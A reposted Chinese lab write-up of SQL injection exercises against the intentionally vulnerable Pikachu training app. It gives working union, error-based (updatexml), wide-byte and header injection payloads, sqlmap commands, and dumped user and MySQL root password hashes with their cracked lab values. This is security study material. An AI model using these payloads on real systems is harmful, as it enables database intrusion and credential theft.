pikachu靶场 sql注入

news/2025/11/4 14:38:11/文章来源:https://www.cnblogs.com/hello422000/p/19190281

数字型注入(post)

打开burpsuite 用内置浏览器访问靶场==>点击 open browser ==>点击intercept==>  intercept on 抓取数据包

右键 ==> send to repeater

找到repeater 查看数据包 id改为2试一下 也能查到数据

我们可以对id进行改动试一下 判断是否为注入点

可以看到 id=1 and 1=1查到数据 id =1 and 1=2 没有查到数据且没报错 (id=1 不能有空格)
说明 后端代码没有对id的值进行过滤 and语句会执行 那么可能有注入点
使用order by 判断回显字段 id=3 order by 3报错 回显字段为2 在sql注入时经常利用order by子句进行快速猜解表中的列数通过修改order by参数值,比如调整为较大的整型数如order by 5,再依据回显情况来判断具体表中包含的列数。判断出列数后,接着使用union select语句进行回显。

构造一个id=2 or 1=1# 

可以看到回显所有数据 什么原理呢(注入时的#加不加都不影响注入执行效果)
$query="select username,email from member where id=$2 or 1=1 #";
这是我们的注入后的代码 在这条语句中,or 1=1 # 是典型的 SQL 注入构造,1=1 会使条件永远为真,而 # 会注释掉后面的内容,这导致查询返回 member 表中所有用户的 username 和 email 信息
采用联合注入 查询一些信息 调用内置函数database(),version(),user()
拿到了当前数据库名称 用户 数据库版本

对pikchu数据库中的表名使用联合注入进行爆破id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#id通常为正数或有效标识符,-1大概率不存在对应的记录,这样原始查询结果为空,后续通过UNION拼接的注入查询结果就能单独显示出来,便于攻击者获取信息。group_concat函数是将查询到的每行结果以某个字段名进行合并,每一行合并的结果以逗号分隔开information_schema是mysql自带的一个信息数据库意思是从information_schema数据库中的tables表中查找 table_schema='pikachu'(数据库名称)所含有的table_name(对应的表名)有哪些

对pikchu数据库中users表中的列名进行爆破id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#从information_schema.columns表中找到符合 table_schema="pikachu" and table_name='users' 的column_name(列名)

对pikachu库中的user表的username,password进行联合注入爆破
id=-1 union select 1,group_concat(username,':',password) from pikachu.users#

hello,1
your email is: admin:e10adc3949ba59abbe56e057f20f883e
pikachu:670b14728ad9902aecba32e22fa4f6bd
test:e99a18c428cb38d5f260853678922e03拿到数据 md5
admin:12345
pikachu:000000
test:abc123
进一步mysql库试一下  root  用户的密码
id=-1 union select 1,group_concat(user,authentication_string) from mysql.user#

hello,1
your email is: 
root *81F5E21E35407D884A6CD4A731AEBFB6AF209E1Bmysql.session  *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE #好像不是密码
mysql.sys  *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE  #好像不是密码 
md5解密出来
root   root
思路:
抓包==>已知数字型注入==>确认id是否为注入点==>看有几处回显==>构造语句看下所有数据==>看当前数据库名 数据库版本==>表名==>
列名==>pikachu库中user表账号密码==>mysql库user表中有mysql用户密码
好像用navicat连接不了 只允许localhost登录

附上后端源码 注入实际上是代码的漏洞

字符型注入(get)

与数字型注入不同的是,字符型注入所使用的sql语句往往形如:
select name from users where name='abc' and passwd='123'
注入后的代码
select name from users where name='abc' and 1=1# ' and passwd='123'
我们输入的查询字符后加' 与固定格式'' 前一个'闭合  #将后一个固定格式'和后面语句注释
and 1=1就不会变为name参数的一部分###我是个小白 将不太清楚 仅用于记录学习 以后进步 一定在做表述上的修改在我们判断一个位置是否为字符型注入时,需要使用特殊符号对输入的数据构造闭合

输入 vince可以查到数据

输入 vince' or 1=1# 抓个包看一下

有个问题 
两种请求方式不同 post get
post请求参数在请求体中 很直观看得到参数 get请求参数会携带在url,并采用url编码,空格特殊符号会被编码 所以不太方便注入
那么我们就先在页面输入框注入 
第一步 判断一下数据包中的name参数是否会是注入点
vince' and 1=1#    正常查到数据
vince' and 1=2#    查不到数据 没有报错 注入点

第二步 看一下回显字段 order by 3报错 那就回显字段有两个在sql注入时经常利用order by子句进行快速猜解表中的列数通过修改order by参数值,比如调整为较大的整型数如order by 5,再依据回显情况来判断具体表中包含的列数。判断出列数后,接着使用union select语句进行回显。

第三步 看能否注入拿到所有可以查到的数据 构造一个恒为真条件
vince' or 1=1# 

第四步 探测一下 数据库版本 当前数据库名 当前用户名
vince' union select database(),version()#    
vince' union select database(),user()#   

第五步 对数据库pikachu表名进行爆破
vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

第六步 对pikachu库user表下的列进行爆破
vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'#

第七步 拿到username password
vince' union select 1,group_concat(username,password) from pikachu.users#your uid:1
your email is: vince@pikachu.comyour uid:1
your email is: 
admin
e10adc3949ba59abbe56e057f20f883e
pikachu
670b14728ad9902aecba32e22fa4f6bd
test
e99a18c428cb38d5f260853678922e03admin:12345
pikachu:000000
test:abc123

第八步 拿到mysql数据库登录root用户密码vince' union select 1,group_concat(user,authentication_string) from mysql.user#

root root  但只允许localhost登录
有一个重要的点 用burpsuite抓包注入也是可以的 就是需要处理下 空格 特殊符号 用url编码 再发包 就不演示了

搜索型注入

select xxx from xxx where xxx like '%abcd%'
搜索主要是模糊匹配 与字符型类似 闭合 加上 注释 
第一步 判断 可否注入  

第二步 看回显字段a%' order by 4#在sql注入时经常利用order by子句进行快速猜解表中的列数通过修改order by参数值,比如调整为较大的整型数如order by 4,再依据回显情况来判断具体表中包含的列数。判断出列数后,接着使用union select语句进行回显。

第三步 看下所有数据

第四步 查看相关数据库版本 用户 当前数据库名 这个有点区别  回显字段3
a%' union select version(),user(),database()#

第五步 pikachu表名进行爆破这个有点不一样 回显字段为31 和 3 是占位符,用于匹配原查询的列数(假设原查询返回 3 列,这里用数字占位以保证列数一致,否则 union 会报错1%' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'#

第六步 列名进行爆破1%' union select 12,column_name,33 from information_schema.columns where table_name='users' and table_schema='pikachu'#

第七步 username passwordv%' union select username,password,33 from users#

第八步 root 
v%' union select user,authentication_string,33 from mysql.user#

xx型注入

第一步 尝试下 搜索框查询username 猜测username是字符型数据  

仔细看报错信息 发现输入的k后面有个括号 那前面就肯定会有括号和后面闭合 也就是说 必须要在输入框输入的搜索内容末尾用 ) 与原本格式形成闭合 用#注释后面的括号
第一步 尝试弄清楚name是不是注入点  get请求采用了url编码 还是手工搜索框注入
vince') and 1=1#  
vince and 1=2#  分别表现为 可以查询到数据和查询不到  应该是一个注入点

第二部 判断字段数 回显 
k') order by 2#         回显查询不到数据 
k') order by 3#         回显报错

第三步 查看所有数据
k') or 1=1#

第四步 查看数据库版本 数据库用户 当前数据库用户名
k') union select user(),database()#
k') union select user(),vsersion()#    提醒下 这个字段数sql想查询的数据个数有关 例如 这里我们查询user(),database()两个数据 因为会回显的只有两个字段

第五步 爆表
k') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

第六步 爆列
k') union select 1,column_name from information_schema.columns where table_name='users' and table_schema='pikachu'#

第七步 username passwordk') union  select username,password from pikachu.user#

第八步
k') union select user,authentication_string from mysql.user#

insert 注入

第一步,来到注册页面 尝试填数据 抓包

尝试确定注入点注入方法    猜测username为字符型数据 其次 多个变量应该是用括号包含逗号分隔 于是 我们username放多个数据 再放个括号与后台源码的右括号闭合 #注释后面携带数据  实现username携带多个数据并且有可能携带注入代码

这里显示 列数不对 并没有报错 那么应该注入思路没错 将所有需要输入数据让username携带

显示注册成功 印证username可以注入  但好像页面是没有任何数据显示的 此时 可以尝试报错注入达到回显效果 看想看到的数据
第二步,爆库
username=12'or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '&password=22&sex=21&phonenum=22&email=22&add=23&submit=submit可以看到 数据库名 pikachu

第三步,其他信息#用户名
username=12'or updatexml(1,concat(0x7e,(select user()),0x7e),1) and '&password=22&sex=21&phonenum=22&email=22&add=23&submit=submit      #数据库版本
username=12'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '&password=22&sex=21&phonenum=22&email=22&add=23&submit=submit #数据文件存放目录 (两次回显拼接)username=12'or updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) and '&password=22&sex=21&phonenum=22&email=22&add=23&submit=submit username=xixi' or updatexml(1,concat(0x7e,substr((select @@datadir),32,30),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

第四步 爆表username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

第五步 爆列
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

第六步 爆数据
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit这是ai给的语句详细解释
1. updatexml(1, concat(...), 1):核心报错函数
updatexml是 MySQL 的 XML 文档更新函数,语法为 updatexml(目标XML,XPATH路径,替换内容)。
第一个参数1:此处无实际意义,仅为满足函数参数格式(需传入一个 XML 类型或可转换为 XML 的值,用1占位)。
第二个参数concat(...):故意传入非法的 XPATH 路径(含特殊字符~),导致函数执行失败并报错,同时将concat(...)拼接的内容包含在报错信息中。
第三个参数1:同样无实际意义,仅为满足函数参数格式,不影响报错结果。
核心作用:通过构造非法参数触发报错,将需要窃取的数据 “带” 出数据库。2. concat(0x7e, substr(...), 0x7e):内容拼接函数
concat是字符串拼接函数,用于将多个字符串合并为一个;0x7e是十六进制编码,对应 ASCII 字符~(波浪线)。
0x7e(即~):作为数据的 “分隔符”,方便从报错信息中快速识别出窃取到的核心数据(避免与报错自带的其他文字混淆)。
substr(...):传入需要窃取的用户数据(由select group_concat(...)获取)。
核心作用:将窃取到的用户数据用~包裹,便于后续从报错信息中提取。3. substr((select group_concat(...)), 1, 31):字符串截取函数
substr是字符串截取函数,语法为 substr(目标字符串,起始位置,截取长度)。
第一个参数(select group_concat(...)):传入从users表中查询到的用户数据(作为待截取的目标字符串)。
第二个参数1:表示从字符串的第 1 个字符开始截取(MySQL 中字符串索引从 1 开始)。
第三个参数31:表示截取 31 个字符。因updatexml报错信息有长度限制(默认最多显示 32 个字符),需分多次截取长数据。
核心作用:规避报错信息的长度限制,分批次获取users表中的完整用户数据。4. group_concat(concat(username,';',password)):数据聚合函数
内层concat(username,';',password):将每行数据中的username和password用;拼接(如admin;123456),方便区分用户名和密码。
外层group_concat(...):将users表中所有行的拼接结果(username;password)合并为一个字符串(如admin;123456,user1;666666),避免返回多行数据导致注入失败。
核心作用:将users表中所有用户的账号密码整合为一个字符串,便于后续截取和读取。5. select ... from users:数据查询语句
这是最基础的 SQL 查询语句,直接从users表中读取数据,是整个注入攻击的 “数据来源”。核心作用:定位并获取存储用户账号密码的核心数据表内容。

update注入

update语句是用来更新数据库数据的  这类型注入存在修改信息页面

可以尝试性别哪里填写时加上分号 看是否报错

看报错信息 其他数据被分号包含 就可以发现应该是字符型数据 同时可以用加两个分号的方法试试

c92

没有报错 也就是说 输入的两个分号 分别与固定格式的两个分号形成闭合
第一步 爆数据库名
sex=xx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&phonenum=123&add=123&email=123%40123.com&submit=submit

第二步 同样可以查询一些其他信息 版本 数据库用户名 sex=xx' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#&phonenum=123&add=123&email=123%40123.com&submit=submitsex=xx' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&phonenum=123&add=123&email=123%40123.com&submit=submit

第二步,爆表
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

第三步 爆列sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

第四步 爆数据
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

delect 注入

这次是一个留言板的场景 输入留言后想删除 数据库用到的语句是delect

 仔细观察 这是一个get请求 携带id数据 猜测数字型数据 页面没有回显 报错注入
但是这个请求头我修改后 返回页面400 bad request 在网上看了很多 忽然发现 没有url编码 
先用firefox的hackbar插件 简单些
爆库  版本 用户名
http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,(select database()) ,0x7e),1) http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,(select vsersion()) ,0x7e),1) http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,(select user()) ,0x7e),1) 

c102

爆表
http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),1,31) ,0x7e),1) 

爆列
http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where  table_name= 'users'),1,31) ,0x7e),1) 

爆数据
http://192.168.152.129/pikachu-master/vul/sqli/sqli_del.php?id=65 or updatexml(1, concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31) ,0x7e),1) 

http头注入

抓包分析 在user-agent注入sql语句 
注意 一定要抓登录后的页面数据包 不然注入无效

爆库User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

爆表
这个地方有点奇怪 我用burp suite改user-agent注入失败 之后尝试hackbar成功' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

爆列
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

爆数据
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or ' 

基于boolian的盲注

我感觉和字符型注入步骤一样
vince' and 1=1#vince' and 1=2#

爆库
' union select database(),version()#

c118

爆表
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

爆列
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'#

爆数据
' union select 1,group_concat(username,password) from pikachu.users#

基于时间盲注

这个我根据网上各种教程确实注入效果不明显 还是用sqlmap跑一下算了数据库名sqlmap -u "http://192.168.152.129/pikachu-master/vul/sqli/sqli_blind_t.php?name=name&submit=%E6%9F%A5%E8%AF%A2" --dbs     表名
sqlmap -u "http://192.168.152.129/pikachu-master/vul/sqli/sqli_blind_t.php?name=name&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu --tables列名
sqlmap -u "http://192.168.152.129/pikachu-master/vul/sqli/sqli_blind_t.php?name=name&submit=%E6%9F%A5%E8%AF%A2" --batch -T users --column  数据

宽字节注入

GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)
ASCII 占一个字节
PHP中编码为GBK ,函数执行添加的是ASCII编码,mysql默认字符集是GBK等宽字节字符集
后端会用mysql_real_escape_string()函数过滤一些特殊符号如 '  自动在前面加上\ 来转义  
也就是说经过转义后       ' ==> \'      经过url编码后 %5c%27 
假设 我输入  %df'  ==>  %df%5c%27
如果数据库编码是gbk  当第一个字符ascii码大于128时 会认为前两个字符为宽字节(两个字节) 
%df%5c就变成宽字节 gbk url解码 是  運    %27 也就是 ' 就没有被 \ 转义  达到绕过转义目的

数据库
name=kobe%df' union select 1,database()#&submit=%E6%9F%A5%E8%AF%A2

表
一开始我会想用之前的注入语句
name=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#&submit=%E6%9F%A5%E8%AF%A2
但是回显查不到username 一直没看来什么问题 原来是'pikachu'这里的'会被过滤 那就改一下 去掉'name=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2

列
采用嵌套查询 避免出现'name=kobe%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#&submit=%E6%9F%A5%E8%AF%A2

数据
name=kobe%df' union select (select group_concat(username,0x3b,password) from users),2#&submit=%E6%9F%A5%E8%AF%A2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/955689.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年垃圾桶加工厂权威推荐榜单:智能回收箱/分类垃圾桶/户外垃圾桶源头厂家精选

随着城市化进程加快和环保意识提升,垃圾桶作为城市基础设施与家庭必备品,市场需求持续增长。根据行业数据显示,2024年我国垃圾桶年产量突破8500万只,其中塑料材质占比62%,金属材质占比28%,智能分类产品增速达35%…

关于AI上下文工程重塑人机协作的 5 个颠覆性认知

关于AI上下文工程重塑人机协作的 5 个颠覆性认知关于AI上下文工程重塑人机协作的 5 个颠覆性认知 宝子们,AI界的大瓜来了!GAIR团队刚发布了Context Engineering 2.0,这可完全颠覆了我们对人机交互的认知。以前我…

java基础-12 : 单列集合(Collection) - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

查看GPU显卡架构及计算能力

查看GPU显卡架构及计算能力查看GPU显卡架构及计算能力:nvidia-smi --query-gpu=name,compute_cap --format=csv输出示例: name, compute_capNVIDIA RTX A5000, 8.6NVIDIA H100, 9.0 Compute Capability(计算能力)对…

java基础-12 : 单列集合(Collection) - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025 年 11 月 ESB 集成平台,API 管理集成平台,集易云集成平台公司最新推荐,聚焦资质、案例、售后的五家机构深度解读!

引言 随着企业数字化转型进入深水区,ESB 集成平台、API 管理集成平台、集易云集成平台的市场需求持续攀升。为帮助企业精准筛选优质服务商,行业协会联合专业测评机构开展了 2025 年度专项测评,通过 “资质审核 - 技…

三场比赛(四)

摘要。0.前言 NOIP 模拟赛。 1.正文 2.总结

mssql public权限sql注入

第一 查看数据库库名 http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name()) http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name(1)) http://192.168.152.129:85/1.aspx?xxser=1 and …

2025 年 11 月 SAP 集成平台,EDI 集成平台,ERP 集成平台公司最新推荐,聚焦资质、案例、售后的五家机构深度解读!

引言 随着企业数字化转型的深入,SAP 集成平台、EDI 集成平台、ERP 集成平台的需求持续攀升,选择优质公司成为企业提升运营效率的关键。本次推荐基于行业权威协会测评数据,测评涵盖资质认证、技术方案适配性、项目案…

Luogu P11361 [NOIP2024] 编辑字符串 题解

SolutionLink。 观察题。一个有趣的事实是题解中提到的所有错解我还真都想过一次,比如贪心 pick 最长的连续 \(1\) 段以及尝试合并上下连续的 \(1\) 段。这题的数据范围和特殊性质做的不错,顺着来想比较好考虑问题。…

AI辅助编程下的软件分层设计:让生成的代码井然有序

在人工智能(AI)辅助编程日益普及的今天,我们编码的方式正在经历一场前所未有的变革。 AI 工具如 QWenCoder,TreaCN等,能够帮助我们快速生成代码,极大地提升了开发效率。 然而,这也带来了一个新的挑战: 如何确保…

2025年钢管总成加工厂权威推荐榜单:液压钢管总成/硬管总成品牌/免焊接钢管总成源头厂家精选

在工业装备与流体传输系统日益精密的今天,一套高品质的钢管总成已成为保障系统安全与稳定运行的关键环节。 钢管总成作为工业设备中传递介质、连接系统的核心部件,其质量直接影响整个系统的可靠性与寿命。为帮助您精…

2025年变电站接地线定做厂家权威推荐榜单:便携型接地线/单簧卡口接地线/电厂专用接地线源头厂家精选

在电力安全标准持续升级的背景下,变电站接地线作为保障电力作业安全的关键设备,其定制化市场需求显著增长。据2025年电力行业安全器具分析报告显示,中国变电站接地线市场规模已达86亿元,年增长率稳定在18%以上。 随…

关于Dify工作流的项目实现与思考

最近公司搭建基于DIFY的工作流,参与了部分工作,记录一下所思所想。 1、项目应用的关键技术有:.NET、Python、DIFY 2、.NET作为公司代码语言,提供工作流所需的所有的查询接口 3、Python用来实现Dify和.Net和钉钉之间…

2025年河北搬家渠道权威推荐榜单:河北单位搬迁/河北搬运小时工/河北大型设备搬运服务精选

在京津冀协同发展持续深化的背景下,一次专业可靠的搬家服务已成为企业高效运营和家庭顺利乔迁的重要保障。 作为物流行业的重要组成部分,搬家服务的专业性与可靠性直接影响着企业和居民的搬迁体验与效率。据2024年行…

2025年顶尖候车亭/公交站台//电子站牌/公交站牌/公交候车厅厂家: 江苏兰太城市科技领跑

2025年顶尖候车亭/公交站台//电子站牌/公交站牌/公交候车厅厂家: 江苏兰太城市科技领跑 摘要 随着城市化进程加速和公共交通需求增长,公交候车厅行业在2025年迎来快速发展,环保、智能化和定制化成为主流趋势。本文基…

华为高斯Gauss数据库版本与兼容协议--详解(附带Gorm连接示例代码) - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

任务栏图标变空白

win+r->cmd,在命令行窗口依次输入如下代码:taskkill /im explorer.exe /fcd /d %userprofile%\appdata\localdel iconcache.db /astart explorer.exe

2025年酒店剃须刀生产厂家权威推荐榜单:一次性剃须刀套装/女士刮毛刀/刮胡刀供应商精选

在酒店用品采购领域,一次性剃须刀虽是小物件,却直接影响着客户体验。行业数据显示,超过68%的商务旅客会将客房配备的剃须刀质量列为重要服务指标。 在酒店用品行业,剃须刀作为个人护理用品的重要组成部分,其品质直…

打开word或PDF,在同目录下自动生成debug.log文件,文件大小0字节!最后发现竟然是一个时时刻刻都要用到的软件引起的

问题描述: 最近使用了ai编辑器后,就发现在打开word文档或者PDF文档时,总是在同级目录下生成debug.log文件,这个文件很诡异,大小为0字节,里面是空的,没有内容。 通过搜索类似问题,发现并没有有效的线索,没有跟…